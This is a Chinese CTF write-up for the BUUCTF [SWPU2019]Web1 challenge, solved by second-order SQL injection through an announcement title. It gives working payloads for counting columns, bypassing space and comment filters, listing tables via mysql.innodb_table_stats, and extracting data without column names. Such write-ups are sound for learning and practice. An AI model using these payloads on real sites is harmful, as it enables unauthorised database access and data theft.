记一次二次注入的CTF题:BUUCTF [SWPU2019]Web1
- 注册账号,创建公告(一次注入,将sql语句注入到数据库中,注入点为公告名称)
- 查看公告,后端会将此前注入进去的公告名称作为条件语句,去执行select查询语句,所以造成二次注入。
攻击过程
- 判断列数
过滤了一些特殊字符,如 or order by # --+ 空格 等
首先进行列数的判断,使用 group by 等同于 order by
然后注释符被过滤了,那么直接在payload最后面写个单引号跟后端代码中的闭合符闭合掉,就不写注释符了
title=1'/**/group/**/by/**/23'&content=1&ac=add
- 爆库
title=-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=1&ac=add
- 爆表
# information_schema也被过滤了,于是用mysql数据库代替
# mysql.innodb_table_stats为mysql系统库中存储表名的数据表
title=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=1&ac=add

- 爆字段
这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入
格式
select group_concat(b) from (select 1,2 as b,3 union select * from users)a
payload
# 因为flag在user表的第三列(一列一列试出来的),所以把第三列取别名为b,然后查询b就可以了。
# "union select 1,2,3" 是判断出来的users表的列数,用下面的payload来判断它的列数,回显出几个1就有i几列
-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#最后获得users表中第三列数据的payload
title=-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=1&ac=add